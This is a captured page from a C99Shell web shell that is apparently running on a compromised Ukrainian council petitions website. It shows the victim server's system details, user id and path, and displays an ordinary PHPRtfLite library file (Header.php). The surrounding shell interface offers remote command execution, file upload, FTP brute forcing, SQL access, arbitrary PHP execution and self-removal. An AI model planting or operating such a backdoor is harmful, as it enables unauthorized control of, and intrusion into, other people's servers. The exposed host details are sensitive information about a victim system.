!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/alien/phprtflite/lib/PHPRtfLite/Container/   drwxr-xr-x
Free 116.7 GB of 200.55 GB (58.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Header.php (5.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* 
    PHPRtfLite
    Copyright 2007-2008 Denis Slaveckij <info@phprtf.com>
    Copyright 2010 Steffen Zeidler <sigma_z@web.de>

    This file is part of PHPRtfLite.

    PHPRtfLite is free software: you can redistribute it and/or modify
    it under the terms of the GNU Lesser General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    PHPRtfLite is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public License
    along with PHPRtfLite.  If not, see <http://www.gnu.org/licenses/>.
*/

/**
 * Class for creating headers within the rtf document or section.
 * @version     1.0.1
 * @author      Denis Slaveckij <info@phprtf.com>
 * @author      Steffen Zeidler <sigma_z@web.de>
 * @copyright   2007-2008 Denis Slaveckij, 2010 Steffen Zeidler
 * @package     PHPRtfLite
 * @subpackage  PHPRtfLite_Container
 */
class PHPRtfLite_Container_Header extends PHPRtfLite_Container {

    
/**
     * constants defining header types
     */
    
const TYPE_ALL      'all';
    const 
TYPE_LEFT     'left';
    const 
TYPE_RIGHT    'right';
    const 
TYPE_FIRST    'first';

    
/**
     * @var PHPRtfLite
     */
    
protected $_rtf;

    
/**
     * @var string
     */
    
protected $_type;

    
/**
     * @var float
     */
    
protected $_offsetHeight;


    
/**
     * Constructor
     *
     * @param PHPRtfLite    $rtf
     * @param string        $type
     */
    
public function __construct(PHPRtfLite $rtf$type) {
        
$this->_rtf $rtf;
        
$this->_type $type;

        if (
$this->_type == self::TYPE_FIRST) {
            
$rtf->setFirstPageHasSpecialLayout(true);
        }
    }

    
/**
     * Set vertical header position from the top of the page
     *
     * @param   float   $height
     */
    
public function setPosition($height) {
        
$this->_offsetHeight $height;
    }

    
/**
     * Gets type as rtf code
     *
     * @return string rtf code
     * @throws PHPRtfLite_Exception, if type is not allowed,
     *   because of the rtf document specific settings.
     */
    
protected function getTypeAsRtfCode() {
        switch (
$this->_type) {
            case 
self::TYPE_ALL:
                if (!
$this->_rtf->isOddEvenDifferent()) {
                    return 
'header';
                }

                throw new 
PHPRtfLite_Exception('Header type ' $this->_type ' is not allowed, when using odd even different!');

            case 
self::TYPE_LEFT:
                if (
$this->_rtf->isOddEvenDifferent()) {
                    return 
'headerl';
                }

                throw new 
PHPRtfLite_Exception('Header type ' $this->_type ' is not allowed, when using not odd even different!');

            case 
self::TYPE_RIGHT:
                if (
$this->_rtf->isOddEvenDifferent()) {
                    return 
'headerr';
                }

                throw new 
PHPRtfLite_Exception('Header type ' $this->_type ' is not allowed, when using not odd even different!');

            case 
self::TYPE_FIRST:
                if (
$this->_rtf->getFirstPageHasSpecialLayout()) {
                    return 
'headerf';
                }

                throw new 
PHPRtfLite_Exception('Header type ' $this->_type ' is not allowed, when using not special layout for first page!');

            default:
                throw new 
PHPRtfLite_Exception('Header type is not defined! You gave me: '$this->_type);
        }
    }

    
/**
     * overwritten method, throws exception, because footers does not support footnotes/endnotes
     *
     * @param string                $noteText
     * @param PHPRtfLite_Font       $font
     * @param PHPRtfLite_ParFormat  $parFormat
     *
     * @throws PHPRtfLite_Exception, footnote/endnote is not supported by footers
     */
    
public function addFootnote($noteTextPHPRtfLite_Font $font nullPHPRtfLite_ParFormat $parFormat null) {
        throw new 
PHPRtfLite_Exception('Headers does not support footnotes!');
    }

    
/**
     * overwritten method, throws exception, because footers does not support footnotes/endnotes
     *
     * @param string                $noteText
     * @param PHPRtfLite_Font       $font
     * @param PHPRtfLite_ParFormat  $parFormat
     *
     * @throws PHPRtfLite_Exception, footnote/endnote is not supported by footers
     */
    
public function addEndnote($noteTextPHPRtfLite_Font $font nullPHPRtfLite_ParFormat $parFormat null) {
        throw new 
PHPRtfLite_Exception('Headers does not support endnotes!');
    }

    
/**
     * Gets rtf code of header
     * 
     * @return string rtf code
     */
    
public function getContent() {
        
$content = isset($this->_offsetHeight)
                   ? 
'\headery' round(PHPRtfLite::TWIPS_IN_CM $this->_offsetHeight) . ' '
                   
'';

        
$content .= '{\\' $this->getTypeAsRtfCode() . ' '
                 
.    parent::getContent()
                 .    
'\par '
                 
.  '}';

        return 
$content "\r\n";
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0107 ]--